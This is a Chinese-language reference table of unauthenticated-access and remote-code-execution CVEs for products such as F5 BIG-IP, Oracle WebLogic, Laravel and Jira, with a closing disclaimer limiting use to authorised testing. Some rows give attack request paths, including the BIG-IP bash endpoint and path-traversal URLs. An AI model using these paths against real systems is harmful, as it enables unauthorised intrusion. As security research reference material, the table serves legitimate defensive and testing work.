CVE-2022-24637 Open Web Analytics 未授权 RCE ≤ 1.7.4 未授权访问
CVE-2021-3129 Laravel Ignition 未授权 RCE ≤ 8.4 远程代码执行
CVE-2021-22986 F5 BIG-IP iControl REST 未授权 RCE 16.0.0-16.1.0 POST /mgmt/tm/util/bash
CVE-2020-14882 Oracle WebLogic 未授权 RCE 10.3.6.0.0+ GET /console/images/%2e%2e%2fconsole.portal
CVE-2020-8193 Citrix ADC 未授权访问 全版本 越权
CVE-2020-5902 BIG-IP TMUI 未授权 RCE 11.6.x-15.1.x GET /tmui/login.jsp/..;/tmui/locallb/workspace/
CVE-2019-11581 Jira Server 未授权 SSRF < 7.6.14 /plugins/servlet/oauth
CVE-2019-7238 Nexus Repository 未授权 EL 注入 2.x 表达式注入
CVE-2018-3760 Ruby on Rails 未授权文件读取 < 5.2.1 路径遍历
CNVD-2020-62422 致远OA 未授权 Getshell A8 V5/V6 AJAX 调用
CNVD-2021-49104 用友NC 未授权 RCE NC6.5 /NCFindWeb

附:参考链接


免责声明:本文档仅供安全研究和授权测试使用。未经授权的 API 未授权访问检测可能构成违法行为,请严格遵守《网络安全法》及相关法律法规。所有测试行为必须在获得合法授权的前提下进行。